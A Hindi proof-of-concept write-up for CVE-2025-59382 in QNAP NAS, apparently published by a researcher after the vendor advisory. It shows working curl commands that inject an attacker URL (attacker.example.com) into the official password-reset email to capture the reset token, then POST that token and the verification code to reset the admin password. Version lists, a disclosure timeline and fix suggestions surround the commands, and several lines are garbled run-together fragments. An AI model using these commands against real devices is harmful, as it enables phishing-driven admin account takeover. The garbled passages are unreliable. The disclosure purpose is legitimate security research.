
प्रूफ-ऑफ-कॉन्सेप्ट और CVE-2025-59382 के लिए तकनीकी व्याख्या, QNAP NAS में एक अप्रमाणित पासवर्ड रीसेट URL इंजेक्शन जो एक फिशिंग-टू-अकाउंट-टेकओवर श्रृंखला को सक्षम बनाता है।
अप्रमाणित हमलावर-नियंत्रित पासवर्ड रीसेट URL /cgi-bin/reset_password.cgi में है।
प्रयोगशाला में QuTScloud c5.2.4.3041 build 20250211 के विरुद्ध परीक्षण किया गया। QNAP ने बाद में इसे सलाह QSA-26-10 में CVE-2025-59382 के रूप में प्रकाशित किया।
एक अप्रमाणित हमलावर स्थानीय नेटवर्क पहुंच, या एक उजागर NAS प्रबंधन इंटरफ़ेस तक पहुंच के साथ, /cgi-bin/reset_password.cgi में send_mail फ़ंक्शन के url पैरामीटर में हेरफेर करके आधिकारिक QNAP पासवर्ड रीसेट ईमेल में एक मनमाना URL सम्मिलित कर सकता है।
पीड़ित को NAS से एक वास्तविक QNAP पासवर्ड रीसेट ईमेल प्राप्त होता है। हमलावर का URL सीधे HTML ईमेल बॉडी में एम्बेड किया जाता है, और QNAP उस URL में रीसेट टोकन () जोड़ देता है।
rpयह पासवर्ड रीसेट ईमेल को एक साफ-सुथरी फिशिंग-से-खाता-अधिग्रहण श्रृंखला में बदल देता है:
rp रीसेट टोकन प्राप्त होता हैvc) दर्ज करता हैपीड़ित की बातचीत की आवश्यकता है, लेकिन हमलावर प्रमाणीकरण की नहीं।
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
NAS आधिकारिक रीसेट ईमेल भेजता है और रीसेट टोकन को हमलावर URL में जोड़ता है, उदाहरण के लिए:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
सत्यापन कोड भी उसी ईमेल में दिखाया जाता है। प्रयोगशाला साक्ष्य में यह इस प्रकार दिखता था:
Your verification code is: 2FEA2B8B
इसलिए फिशिंग पेज को केवल पीड़ित से सत्यापन कोड माँगना होता है। लिंक क्लिक करने पर rp टोकन पहले से ही हमलावर के सर्वर पर पहुँच जाता है।
एक बार हमलावर के पास rp टोकन और संबंधित vc सत्यापन कोड आ जाए, तो वे व्यवस्थापक पासवर्ड रीसेट कर सकते हैं:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
अंतिम रीसेट कॉल POST होना चाहिए। पीड़ित नकली पेज पर जो सत्यापन कोड दर्ज करता है, वह QNAP को vc=<code> के रूप में भेजा जाता है।
नया पासवर्ड new_pw में base64 एन्कोडेड है। PoC में यह व्यवस्थापक पासवर्ड बदलने और फिर व्यवस्थापक के रूप में लॉग इन करने के लिए पर्याप्त था।
सामान्य फ्रंटएंड प्रवाह एक स्थानीय NAS URL इस प्रकार बनाता है:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
लेकिन बैकएंड स्वयं रीसेट URL उत्पन्न करने के बजाय क्लाइंट-आपूर्ति किए गए url पैरामीटर पर भरोसा करता है। फिर यह उस मान का उपयोग करके ईमेल लिंक बनाता है और जोड़ता है:
&u=<user>&rp=<reset_token>
यह बस जो कुछ भी url के रूप में पास किया जाता है, उस पर भरोसा करता है।
भरोसेमंद NAS ईमेल वितरण कर रहा है।
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 मध्यमQNAP प्रभावित उत्पादों को इस प्रकार सूचीबद्ध करता है:
5.2.7h5.2.8c5.2.82.7.1QNAP द्वारा सूचीबद्ध निर्धारित संस्करण:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP ने इस मुद्दे को एक दूरस्थ हमलावर के रूप में वर्णित किया जो पासवर्ड रीसेट URL को संशोधित करता है और पीड़ित को हमलावर-नियंत्रित रीसेट पेज पर जाने के लिए धोखा देता है, जिससे क्रेडेंशियल चोरी होती है।
मेरा अपना प्रयोगशाला लक्ष्य QuTScloud c5.2.4.3041 build 20250211 था। मेरे प्रयोगशाला प्रभाव में पीड़ित की बातचीत के बाद व्यवस्थापक पासवर्ड रीसेट और व्यवस्थापक लॉगिन शामिल था।
छोटा नोट: मैंने इसे अपनी प्रयोगशाला में 2026-05-09 पर पुन: प्रस्तुत किया और 2026-05-11 पर QNAP को भेजा; उन्होंने इसे INTSI000-9029 का डुप्लिकेट चिह्नित किया। चूंकि QNAP ने अब CVE/सलाह प्रकाशित कर दिया है, मैं POC प्रकाशित कर रहा हूँ। पहले खोजने का श्रेय टिम कोएन को।
मुझे नहीं पता कि QNAP ने कौन सा सटीक पैच इस्तेमाल किया। उनकी सलाह में केवल निर्धारित संस्करण सूचीबद्ध हैं।
सही फिक्स के लिए मेरा अनुमान सरल है: ब्राउज़र को NAS को यह न बताने दें कि रीसेट लिंक कहाँ इंगित करना चाहिए।
NAS को स्वयं वह लिंक बनाना चाहिए। यदि QNAP को अभी भी प्रवाह के लिए url पैरामीटर की आवश्यकता है, तो इसे केवल सामान्य NAS रीसेट पेज स्वीकार करना चाहिए और किसी भी बाहरी चीज़ को अस्वीकार करना चाहिए।
मैं ईमेल बॉडी में डाले जाने वाली किसी भी चीज़ को एनकोड करूँगा, और अप्रमाणित रीसेट ईमेल अनुरोधों के आसपास कुछ दर सीमा लगाऊँगा।
अस्वीकरण: यह शोषण कोड शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।